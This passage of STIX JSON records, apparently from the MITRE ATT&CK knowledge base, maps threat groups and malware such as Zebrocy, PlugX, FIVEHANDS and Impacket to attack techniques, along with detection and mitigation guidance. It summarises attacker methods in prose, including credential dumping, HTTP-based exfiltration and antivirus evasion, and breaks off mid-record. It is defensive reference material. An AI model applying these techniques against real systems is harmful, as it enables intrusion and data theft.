2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9c2b891-e40d-4963-aef7-3b43b20f21c1","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Outlook Forms","description":"Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.","url":"https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"},{"source_name":"Outlook Today Home Page","description":"Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.","url":"https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e13f1e41-fc5c-4cd3-ad6b-62bc597c959a","type":"relationship","created":"2019-06-13T16:53:10.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/","description":"Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.","source_name":"Technospot Chrome Extensions GP"}],"modified":"2021-04-27T19:56:54.623Z","description":"Set a browser extension allow or deny list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9199705b-d90f-4f46-908a-e419501c8712","created":"2022-04-14T11:13:32.716Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TrailBlazer](https://attack.mitre.org/software/S0682) has used HTTP requests for C2.(Citation: CrowdStrike StellarParticle January 2022)","modified":"2022-04-14T11:13:32.716Z","relationship_type":"uses","source_ref":"malware--bdad6f3b-de88-42fa-9295-d29b5271808e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c25229d-c0f5-4ad6-a403-874d59df73fe","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f76be4ac-f342-4904-b50d-06e28b878011","created":"2022-04-15T13:42:41.186Z","x_mitre_version":"0.1","external_references":[{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used `mshta.exe` to execute malicious HTA files.(Citation: Symantec Shuckworm January 2022)","modified":"2022-04-15T13:42:41.186Z","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b805001-baef-4237-8c26-922aeac6af86","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor for newly constructed network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification) The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Secure Boot","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020.","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#35"},{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ef58dda-688d-4461-b5fc-25f2ba3a9c54","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. 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Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--546fc347-7844-4721-8ec4-dbf45e8ca1e7","type":"relationship","created":"2019-07-16T21:00:11.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."},{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}],"modified":"2020-12-22T18:45:21.898Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) has exfiltrated data to the designated C2 server using HTTP POST requests.(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020) ","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b842af96-8422-4b23-bd17-35d123c5a9b5","type":"relationship","created":"2021-11-29T21:18:40.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T21:18:40.003Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has compromised the Able Desktop installer to gain access to victim's environments.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b92d6b45-e211-4168-ac32-80427bf1b9d2","type":"relationship","created":"2020-07-28T18:16:41.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. 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Retrieved July 20, 2020."}],"modified":"2020-07-30T18:52:23.953Z","description":"[PROMETHIUM](https://attack.mitre.org/groups/G0056) has used a script that configures the knockd service and firewall to only accept C2 connections from systems that use a specified sequence of knock ports.(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","target_ref":"attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19614400-1cbc-43ab-a0c1-fdba19d4edff","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for modification of Registry keys and values used by services such as HKLM\\SYSTEM\\CurrentControlSet\\Services that may allow adversaries to launch their own code when a service starts.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c210990-7596-4773-a640-adf44490d08d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. 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(2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used implants to collect the system language ID of a compromised machine.(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-11T18:52:50.235Z","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d3366503-cb6e-4fd3-9d93-ae9ee2faa0d4","type":"relationship","created":"2021-03-08T13:45:43.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:08.935Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can delete files from a compromised host.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07702379-2d40-48ae-a077-d68e0da5e4be","type":"relationship","created":"2019-01-29T18:17:59.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CIRCL PlugX March 2013","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."},{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:53:13.212Z","description":"[PlugX](https://attack.mitre.org/software/S0013) has a module to enumerate drives and find files recursively.(Citation: CIRCL PlugX March 2013)(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--20748bc7-183a-49f3-9c95-802aa5384aca","created":"2022-03-30T14:26:51.835Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze network flows associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). 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Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.210Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has collected the domain name of the victim system.(Citation: Kaspersky ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20cedb41-1f7b-44df-8d49-5d6fc166c557","type":"relationship","created":"2020-10-19T13:55:56.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). 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(2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:33:02.252Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can download its second stage from a hardcoded URL within the loader's code.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--681ea412-54a2-4580-960f-98e1219fff1f","type":"relationship","created":"2020-03-13T11:12:18.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Executable Installers are Vulnerable","url":"https://seclists.org/fulldisclosure/2015/Dec/34","description":"Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."}],"modified":"2020-03-26T19:20:23.179Z","description":"Turn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code> to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code>. Consider enabling installer detection for all users by adding: <code>\"EnableInstallerDetection\"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.  (Citation: Executable Installers are Vulnerable)","relationship_type":"mitigates","source_ref":"course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808","target_ref":"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a54bde2-8f9d-4b1c-b6d0-08c778a1bcec","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitoring for SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity.","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e586e3c7-ed6b-4f6b-92e8-031f0acc84ef","type":"relationship","created":"2020-05-13T19:39:41.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."},{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."},{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-22T16:49:46.916Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) has sent malicious files via email that tricked users into clicking Enable Content to run an embedded macro and to download malicious archives.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020)(Citation: Cybereason Molerats Dec 2020)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6d0fb103-d6f6-4259-a62f-296735020176","created":"2020-03-19T23:01:00.221Z","x_mitre_version":"1.0","external_references":[{"source_name":"Impacket Tools","url":"https://www.secureauth.com/labs/open-source-tools/impacket","description":"SecureAuth. (n.d.).  Retrieved January 15, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information from NTDS.dit.(Citation: Impacket Tools)","modified":"2022-04-19T21:06:21.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57d1a497-ef75-46de-b284-eefa90a99172","type":"relationship","created":"2019-06-13T16:47:55.972Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx","description":"Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.","source_name":"Microsoft BITS"}],"modified":"2021-04-13T21:36:05.231Z","description":"\nConsider reducing the default BITS job lifetime in Group Policy or by editing the <code>JobInactivityTimeout</code> and <code>MaxDownloadTime</code> Registry values in <code> HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS</code>.(Citation: Microsoft BITS)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35887eab-0306-4e28-910d-2235207cc621","type":"relationship","created":"2021-06-07T13:46:13.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"NCC Group Fivehands June 2021","url":"https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/","description":"Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. Retrieved June 24, 2021."}],"modified":"2021-06-24T13:35:43.541Z","description":"[FIVEHANDS](https://attack.mitre.org/software/S0618) can receive a command line argument to limit file encryption to specified directories.(Citation: FireEye FiveHands April 2021)(Citation: NCC Group Fivehands June 2021)","relationship_type":"uses","source_ref":"malware--f464354c-7103-47c6-969b-8766f0157ed2","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7a11ad8-80ac-4b0e-8749-102958f57f62","type":"relationship","created":"2020-10-19T19:53:10.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-10-19T19:53:10.862Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d","target_ref":"attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d200ba08-8179-495e-a854-9b13be5c0f93","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Emissary Trojan Feb 2016","description":"Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"}],"modified":"2021-08-27T14:42:00.385Z","description":"A variant of [Emissary](https://attack.mitre.org/software/S0082) appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan.(Citation: Emissary Trojan Feb 2016)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a24e618b-6624-4bca-9bef-c5f4ca6cab53","type":"relationship","created":"2019-01-30T18:02:59.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-06-16T15:50:05.303Z","description":"(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8","target_ref":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cbfc2f6-0b87-402c-b536-2d9688b2e0ea","type":"relationship","created":"2021-09-14T03:13:16.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"sentinelone shlayer to zshlayer","url":"https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/","description":"Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021."},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2021-09-14T03:13:16.471Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) uses the command <code>appDir=\"$(dirname 